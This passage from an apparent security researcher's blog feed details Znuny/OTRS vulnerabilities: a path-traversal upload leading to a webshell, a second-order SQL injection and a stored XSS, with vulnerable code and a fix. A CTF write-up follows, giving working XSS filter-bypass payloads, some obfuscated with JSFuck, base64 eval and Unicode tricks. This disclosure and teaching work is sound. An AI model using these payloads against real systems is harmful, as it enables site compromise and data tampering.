    <span class="k">my</span> <span class="nv">$MainObject</span> <span class="o">=</span> <span class="nv">$</span><span class="nn">Kernel::</span><span class="nv">OM</span><span class="o">-&gt;</span><span class="nv">Get</span><span class="p">('</span><span class="s1">Kernel::System::Main</span><span class="p">');</span>

    <span class="c1"># files must readable for creator</span>
    <span class="k">return</span> <span class="k">if</span> <span class="o">!</span><span class="nv">$MainObject</span><span class="o">-&gt;</span><span class="nv">FileWrite</span><span class="p">(</span>
        <span class="s">Directory</span>  <span class="o">=&gt;</span> <span class="nv">$Directory</span><span class="p">,</span>
        <span class="s">Filename</span>   <span class="o">=&gt;</span> <span class="p">"</span><span class="si">$Param</span><span class="s2">{Filename}</span><span class="p">",</span> <span class="c1"># &lt;--- No sanitization or control on filename</span>
        <span class="s">Content</span>    <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$Param</span><span class="p">{</span><span class="nv">Content</span><span class="p">},</span>
        <span class="s">Mode</span>       <span class="o">=&gt;</span> <span class="p">'</span><span class="s1">binmode</span><span class="p">',</span>
        <span class="s">Permission</span> <span class="o">=&gt;</span> <span class="p">'</span><span class="s1">640</span><span class="p">',</span>
        <span class="s">NoReplace</span>  <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span>
    <span class="p">);</span>

    <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="p">}</span>

</code></pre></div></div>

<p>As we see from the code, the <code class="language-plaintext highlighter-rouge">FormIDAddFile</code> function takes the filename from the HTTP request without any sanitization on the path</p>

<p>This is an example of a malicious request that allows the attacker to upload a file to any location on the system (as long as it has write permissions) , in this case I am uploading to the <code class="language-plaintext highlighter-rouge">../../../../../../../opt/znuny-7.0.15/var/httpd/htdocs/js/js-cache/&lt;filename&gt;</code> (Path traversal in the filename) which is an externally reachable static js file directory.</p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image3.png" alt="" /></p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image4.png" alt="" /></p>

<p>In this case I loaded a very simple webshell that allows me to run os commands on the host (RCE)</p>

<p>To mitigate this vuln just use the function basename() :</p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image.jpg" alt="" /></p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image2.jpg" alt="" /></p>

<hr />

<h1 id="cve-2024-32493--second-order-sql-injection">CVE-2024-32493 | Second Order SQL Injection</h1>

<p><strong>Overview</strong></p>
<ul>
  <li>Date : 2024-04-17</li>
  <li>Affected : All versions of Znuny LTS from 6.5.1 up to including 6.5.7. All versions of Znuny from 7.0.1 up to including 7.0.16.</li>
  <li>Severity : medium</li>
  <li>CVE : CVE-2024-32493</li>
  <li>Resources : <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-32493">NVD</a> - <a href="https://www.znuny.org/en/advisories/zsa-2024-03">Znuny Advisory</a></li>
</ul>

<p>I found an SQLI vulnerability in the function  “FormIDCleanUp()” , in the file <code class="language-plaintext highlighter-rouge">/Znuny/Kernel/System/Web/UploadCache/DB.pm:310</code> <a href="https://github.com/znuny/Znuny/blob/7c1e60ccc737b046c1e96fe1b0554fcf1c68f6f7/Kernel/System/Web/UploadCache/DB.pm#L310">GitHub</a></p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">sub </span><span class="nf">FormIDCleanUp</span> <span class="p">{</span>

    <span class="p">[</span><span class="o">...</span><span class="p">]</span>
    
    <span class="k">my</span> <span class="nv">$SQL</span> <span class="o">=</span> <span class="p">'</span><span class="s1">DELETE FROM web_upload_cache
            WHERE create_time_unix &lt; ?</span><span class="p">';</span>


    <span class="k">if</span> <span class="p">(</span><span class="nv">@DraftForms</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">my</span> <span class="nv">@SeparatedDraftForms</span> <span class="o">=</span> <span class="nb">map</span> <span class="p">{"</span><span class="s2">'</span><span class="si">$_</span><span class="s2">'</span><span class="p">"}</span> <span class="nv">@DraftForms</span><span class="p">;</span>
        <span class="nv">$SQL</span> <span class="o">.=</span> <span class="p">'</span><span class="s1"> AND form_id NOT IN (</span><span class="p">'</span> <span class="o">.</span> <span class="nb">join</span><span class="p">(</span> <span class="p">'</span><span class="s1">,</span><span class="p">',</span> <span class="nv">@SeparatedDraftForms</span> <span class="p">)</span> <span class="o">.</span> <span class="p">'</span><span class="s1">)</span><span class="p">';</span> <span class="c1"># concatenates user input @SeparatedDraftForms into sql query without prepared statement or sanitization</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="k">if</span> <span class="o">!</span><span class="nv">$</span><span class="nn">Kernel::</span><span class="nv">OM</span><span class="o">-&gt;</span><span class="nv">Get</span><span class="p">('</span><span class="s1">Kernel::System::DB</span><span class="p">')</span><span class="o">-&gt;</span><span class="nv">Do</span><span class="p">(</span>
        <span class="s">SQL</span>  <span class="o">=&gt;</span> <span class="nv">$SQL</span><span class="p">,</span>
        <span class="s">Bind</span> <span class="o">=&gt;</span> <span class="p">[</span> <span class="o">\</span><span class="nv">$CurrentTile</span> <span class="p">],</span>
    <span class="p">);</span>

    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>


</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">FormIDCleanUp()</code> function is triggered by a cronjob every hour (for testing purposes I reduced the time to 1 minute) and deletes all cached ticket attachment files with a timestamp older than 24h , excluding files in draft forms , so it is possible to inject a malicious query into the <code class="language-plaintext highlighter-rouge">FormID</code> of the draft forms</p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image6.png" alt="" /></p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image7.png" alt="" /></p>

<p>with this example query the malicious FormID will be saved and when the cronjob will trigger the function <code class="language-plaintext highlighter-rouge">FormIDCleanUp()</code> the where condition will always be true and it will delete all cached files including those with date less than 24h ago and those present in all draft forms.</p>

<p>So this is an SQLI of the “Second Order” or “Stored” type. <a href="https://portswigger.net/web-security/sql-injection#:~:text=Second%2Dorder%20SQL%20injection%20occurs,where%20the%20data%20is%20stored.">PortSwigger</a> :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.

Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.
</code></pre></div></div>

<p>Below is an example of what the SQL variable contains , I modified the source code a bit by inserting some debug logs to follow the flow and read the contents of the variables :</p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image8.png" alt="" /></p>

<p>The complexity of the exploit reduces the criticality of vuln.
In the above example case I simply used a payload that makes DELETE always TRUE and deletes files but could turn into a data exfiltration.</p>

<h1 id="cve-2024-32492---stored-xss">CVE-2024-32492  | Stored XSS</h1>

<p><strong>Overview</strong></p>
<ul>
  <li>Date : 2024-04-17</li>
  <li>Affected : All versions of Znuny from 7.0.1 up to including 7.0.16.</li>
  <li>Severity : medium</li>
  <li>CVE : CVE-2024-32492</li>
  <li>Resources : <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-32492">NVD</a> - <a href="https://www.znuny.org/en/advisories/zsa-2024-02">Znuny Advisory</a></li>
</ul>

<p>The ticket detail view on the customer front allows the execution of external JavaScript.</p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image10.png" alt="" /></p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image9.png" alt="" /></p>]]></content><author><name>Martino Spagnuolo</name></author><category term="cve" /><summary type="html"><![CDATA[In this post I detail two critical security flaws I discovered last year in the Znuny / OTRS ticket-ing system: a path-traversal file-upload bug that can be leveraged for remote code execution, and a Second Order SQL injection in the draft-form cleanup routine. The write-up walks through root cause analysis, step-by-step PoCs, impact, official patches, and mitigation tips for administrators who are still running unpatched instances.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/img/og-home.png" /><media:content medium="image" url="https://r3verii.github.io/assets/img/og-home.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CodeInTheDarkCTF 2023 writeups</title><link href="https://r3verii.github.io/ctf/2023/10/08/eXSStravaganza.html" rel="alternate" type="text/html" title="CodeInTheDarkCTF 2023 writeups" /><published>2023-10-08T00:00:00+00:00</published><updated>2023-10-08T00:00:00+00:00</updated><id>https://r3verii.github.io/ctf/2023/10/08/eXSStravaganza</id><content type="html" xml:base="https://r3verii.github.io/ctf/2023/10/08/eXSStravaganza.html"><![CDATA[<h1 id="exxstravaganza">eXXStravaganza</h1>
<p>For the eXXStravaganza series, one must exploit an XSS vulnerability that triggers an “alert(1)” without any user interaction. The challenges in this series all occur in the same way :</p>
<ul>
  <li>Sanitizer (javascript source code that processes our input).</li>
  <li>Input (text area where we enter the payload )</li>
  <li>Output (frame that shows us the output of the html page)</li>
  <li>MiniBrowser (browser where our html page is rendered)
<img src="/assets/2023-10-08-eXSStravaganza/images/xss1.png" alt="" /></li>
</ul>

<h1 id="level-1">Level 1</h1>
<p>This is the first level , very simple , a warmup 
just enter <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(1)&lt;/script&gt;</code> as input to trigger the alert</p>

<h1 id="level-2">Level 2</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// no scripts!</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">input</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">().</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">return</span> <span class="dl">'</span><span class="s1">NO!</span><span class="dl">'</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">input</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this case we cannot use the <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag and there are many ways to bypass it , I used the <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> tag :</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span><span class="err">/</span><span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">alert(1)</span><span class="nt">&gt;</span>
</code></pre></div></div>

<h1 id="level-3">Level 3</h1>
<p>Sanitizer</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// no alert!</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">input</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">().</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1">alert</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">return</span> <span class="dl">'</span><span class="s1">NO!</span><span class="dl">'</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">input</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this case we cannot use the word <code class="language-plaintext highlighter-rouge">alert</code> , so we can use a base64 encoding and run it with <code class="language-plaintext highlighter-rouge">eval()</code> function :</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span> <span class="nb">eval</span><span class="p">(</span><span class="nx">atob</span><span class="p">(</span><span class="dl">"</span><span class="s2">YWxlcnQoMSk=</span><span class="dl">"</span><span class="p">))</span> <span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>
<h1 id="level-4">Level 4</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// uppercase! how r ya gonna call that alert?</span>
    <span class="k">return</span> <span class="nx">input</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>For this level I used <a href="https://jsfuck.com/">JsFuck</a> , so the payload is :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;script&gt;[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()&lt;/script&gt;
</code></pre></div></div>

<h1 id="level-5">Level 5</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// no equals, no parentheses!</span>
    <span class="k">return</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">=(</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this case there is a regex that prevents us from using parentheses and equals <code class="language-plaintext highlighter-rouge">(=</code>
So I used this payload:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span> <span class="nb">eval</span><span class="p">.</span><span class="nx">call</span><span class="s2">`</span><span class="p">${</span><span class="dl">"</span><span class="s2">alert</span><span class="se">\</span><span class="s2">x281</span><span class="se">\</span><span class="s2">x29</span><span class="dl">"</span><span class="p">}</span><span class="s2">`</span><span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div></div>
<p>Here you can find the explanation of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call() function</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals">Template Literals</a></p>

<h1 id="level-6">Level 6</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// no symbols whatsoever! good luck!</span>
    <span class="kd">const</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">[|</span><span class="se">\s</span><span class="sr">+*</span><span class="se">/</span><span class="sr">&lt;&gt;</span><span class="se">\\</span><span class="sr">&amp;^:;=`'~!%-</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">);</span>
    <span class="k">return</span> <span class="dl">"</span><span class="s2">  </span><span class="se">\</span><span class="s2">x3Cscript</span><span class="se">\</span><span class="s2">x3E</span><span class="se">\n</span><span class="s2">var name=</span><span class="se">\"</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">sanitized</span> <span class="o">+</span> <span class="dl">"</span><span class="se">\"</span><span class="s2">;</span><span class="se">\n</span><span class="s2">document.body.innerText=name;</span><span class="se">\n</span><span class="s2">  </span><span class="se">\</span><span class="s2">x3C/script</span><span class="se">\</span><span class="s2">x3E</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this case our input is sanitized by a regex (which removes most of the special characters) and is inserted inside <code class="language-plaintext highlighter-rouge">var name=" "</code><br />
We can use double quotes to escape the string and insert a payload to trigger the alert, there could be more ways to do it but I used a <code class="language-plaintext highlighter-rouge">Function()</code> object by calling it with the prototype <code class="language-plaintext highlighter-rouge">constructor</code><br />
<img src="/assets/2023-10-08-eXSStravaganza/images/xss2.png" alt="" />
<code class="language-plaintext highlighter-rouge">"a".constructor.constructor(alert(1))</code> is like <code class="language-plaintext highlighter-rouge">Function(alert(1))</code><br />
At this point we could use the slash <code class="language-plaintext highlighter-rouge">/</code> to comment out the remaining part, but the regex filters the <code class="language-plaintext highlighter-rouge">/</code> character and after some research I found a javascript operator called nullish coalescing (<code class="language-plaintext highlighter-rouge">??</code>) operator <br />
So the payload becomes:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">a</span><span class="dl">"</span><span class="s2">.constructor.constructor(alert(1))??</span><span class="dl">"</span>
</code></pre></div></div>

<p>(Here you can find the explanation of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a> , <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">Object.prototype.constructor</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing">Nullish coalescing operator ??</a> )</p>

<h1 id="level-7">Level 7</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// no tags, no comments, no string escapes and no new lines</span>
    <span class="kd">const</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">&lt;</span><span class="se">/</span><span class="sr">'</span><span class="se">\r\n]</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">);</span>
    <span class="k">return</span> <span class="dl">"</span><span class="s2">  </span><span class="se">\</span><span class="s2">x3Cscript</span><span class="se">\</span><span class="s2">x3E</span><span class="se">\n</span><span class="s2">// the input is '</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">sanitized</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">'</span><span class="se">\n</span><span class="s2">  </span><span class="se">\</span><span class="s2">x3C/script</span><span class="se">\</span><span class="s2">x3E</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In this case our input is placed in a comment so it is not executed 
<img src="/assets/2023-10-08-eXSStravaganza/images/xss3.png" alt="" />
After some research, I found a unicode character called <a href="https://unicodeplus.com/U+2028">Line Separator (U+2028)</a>, this character breaks the comment line (the character is not represented by any symbol so it may look like a simple space character )</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> alert(1) --&gt; 
</code></pre></div></div>
<p><img src="/assets/2023-10-08-eXSStravaganza/images/xss5.png" alt="" />
I don’t know why <code class="language-plaintext highlighter-rouge">--&gt;</code> it works as a comment in this case I did so many tests to “bypass” the second quote <code class="language-plaintext highlighter-rouge">'</code>
<img src="/assets/2023-10-08-eXSStravaganza/images/xss4.png" alt="" /></p>

<h1 id="level-8">Level 8</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">;</span>
    <span class="k">do</span><span class="p">{</span>
        <span class="nx">input</span> <span class="o">=</span> <span class="nx">sanitized</span><span class="p">;</span>
        <span class="c1">// no opening tags</span>
        <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/&lt;</span><span class="se">[</span><span class="sr">a-zA-Z</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nx">input</span> <span class="o">!=</span> <span class="nx">sanitized</span><span class="p">)</span>
    <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">sanitized</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">();</span>
    <span class="k">do</span><span class="p">{</span>
        <span class="nx">input</span> <span class="o">=</span> <span class="nx">sanitized</span><span class="p">;</span>
        <span class="c1">// no script</span>
        <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/SCRIPT/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nx">input</span> <span class="o">!=</span> <span class="nx">sanitized</span><span class="p">)</span>
    <span class="k">return</span> <span class="nx">sanitized</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>this script removes all <code class="language-plaintext highlighter-rouge">script</code> words and any alphabetic characters (a-z , A-Z) after <code class="language-plaintext highlighter-rouge">&lt;</code> 
<img src="/assets/2023-10-08-eXSStravaganza/images/xss6.png" alt="" />
The interesting part is that the script uses first <code class="language-plaintext highlighter-rouge">toUpperCase()</code> and after <code class="language-plaintext highlighter-rouge">toLowerCase()</code>, so we can find unicode lowercase characters that share the same uppercase character, to find them I used a small script in JS :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">65536</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">i_start</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span>
    <span class="kd">let</span> <span class="nx">i_upper</span> <span class="o">=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">i</span><span class="p">).</span><span class="nx">toUpperCase</span><span class="p">();</span>
    <span class="kd">let</span> <span class="nx">i_lower</span> <span class="o">=</span> <span class="nx">i_upper</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">i_lower</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">i</span><span class="dl">"</span><span class="p">){</span> <span class="c1">//change "i" to the character you want to test  </span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span><span class="nx">i_start</span><span class="p">,</span> <span class="nx">i_upper</span><span class="p">,</span> <span class="nx">i_lower</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>With this script I found 2 characters that have the same uppercase character (I,S) 
<img src="/assets/2023-10-08-eXSStravaganza/images/xss7.png" alt="" />
so I used the <code class="language-plaintext highlighter-rouge">ı</code> character for the <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> tag.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;ımg</span><span class="err">/</span><span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">alert(1)</span><span class="nt">&gt;</span>
</code></pre></div></div>
<p><img src="/assets/2023-10-08-eXSStravaganza/images/xss8.png" alt="" /></p>

<h1 id="level-9">Level 9</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// no tags, no comments, no string escapes and no new lines</span>
    <span class="kd">const</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">a-z</span><span class="se">\\]</span><span class="sr">/gi</span><span class="p">,</span> <span class="dl">''</span><span class="p">).</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">140</span><span class="p">);</span>
    <span class="k">return</span> <span class="dl">"</span><span class="s2">  </span><span class="se">\</span><span class="s2">x3Cscript</span><span class="se">\</span><span class="s2">x3E</span><span class="se">\n</span><span class="s2">  </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">sanitized</span> <span class="o">+</span> <span class="dl">"</span><span class="se">\n</span><span class="s2">  </span><span class="se">\</span><span class="s2">x3C/script</span><span class="se">\</span><span class="s2">x3E</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this level we cannot use <code class="language-plaintext highlighter-rouge">a-z</code> characters so we only have special characters and characters from other alphabets, you could use JsFuck but there is a 140 character limit for the payload.
Taking a cue from <a href="https://gist.github.com/ignis-sec/a89988c3bc473c055c1c5a5228a23fc6">this repository</a> (which uses the same method as JsFuck but with more characters available) , I created a working payload</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">〱</span><span class="o">=</span><span class="dl">''</span><span class="o">+</span><span class="p">{}</span><span class="o">+</span><span class="p">[][[]]</span><span class="o">+!!</span><span class="p">[]</span><span class="o">+!</span><span class="p">[],</span><span class="nx">ᘘ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span><span class="nx">ᘙ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="nx">ᘚ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">25</span><span class="p">],</span><span class="nx">ᘲ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">6</span><span class="p">],</span><span class="nx">ᘳ</span><span class="o">=</span><span class="nx">ᘘ</span><span class="o">+</span><span class="nx">ᘙ</span><span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span><span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span><span class="o">+</span><span class="nx">ᘲ</span><span class="o">+</span><span class="nx">ᘚ</span><span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span><span class="o">+</span><span class="nx">ᘘ</span><span class="o">+</span><span class="nx">ᘲ</span><span class="o">+</span><span class="nx">ᘙ</span><span class="o">+</span><span class="nx">ᘚ</span><span class="p">,</span><span class="nx">ᘎ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">29</span><span class="p">]</span><span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span><span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">+</span><span class="nx">ᘚ</span><span class="o">+</span><span class="nx">ᘲ</span><span class="o">+</span><span class="dl">'</span><span class="s1">(1)</span><span class="dl">'</span><span class="p">,[][</span><span class="nx">ᘳ</span><span class="p">][</span><span class="nx">ᘳ</span><span class="p">](</span><span class="nx">ᘎ</span><span class="p">)()</span>  <span class="c1">// 131 characters </span>

<span class="nx">〱</span><span class="o">=</span>     <span class="c1">// '[object Object]undefinedtruefalse'</span>
<span class="dl">''</span>
<span class="o">+</span><span class="p">{}</span>     <span class="c1">// '[object Object]'</span>
<span class="o">+</span><span class="p">[][[]]</span>  <span class="c1">// 'undefined'</span>
<span class="o">+!!</span><span class="p">[]</span>    <span class="c1">// 'true'</span>
<span class="o">+!</span><span class="p">[],</span>     <span class="c1">// 'false'</span>

<span class="c1">//letters that are used more than once defined seperately to shorten payload</span>
<span class="nx">ᘘ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span>    <span class="c1">// 'c'      &lt;- "[object Object]undefinedtruefalse"[5]</span>
<span class="nx">ᘙ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span>    <span class="c1">// 'o'      &lt;- "[object Object]undefinedtruefalse"[1]</span>
<span class="nx">ᘚ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">25</span><span class="p">],</span>   <span class="c1">// 'r'      &lt;- "[object Object]undefinedtruefalse"[25]</span>
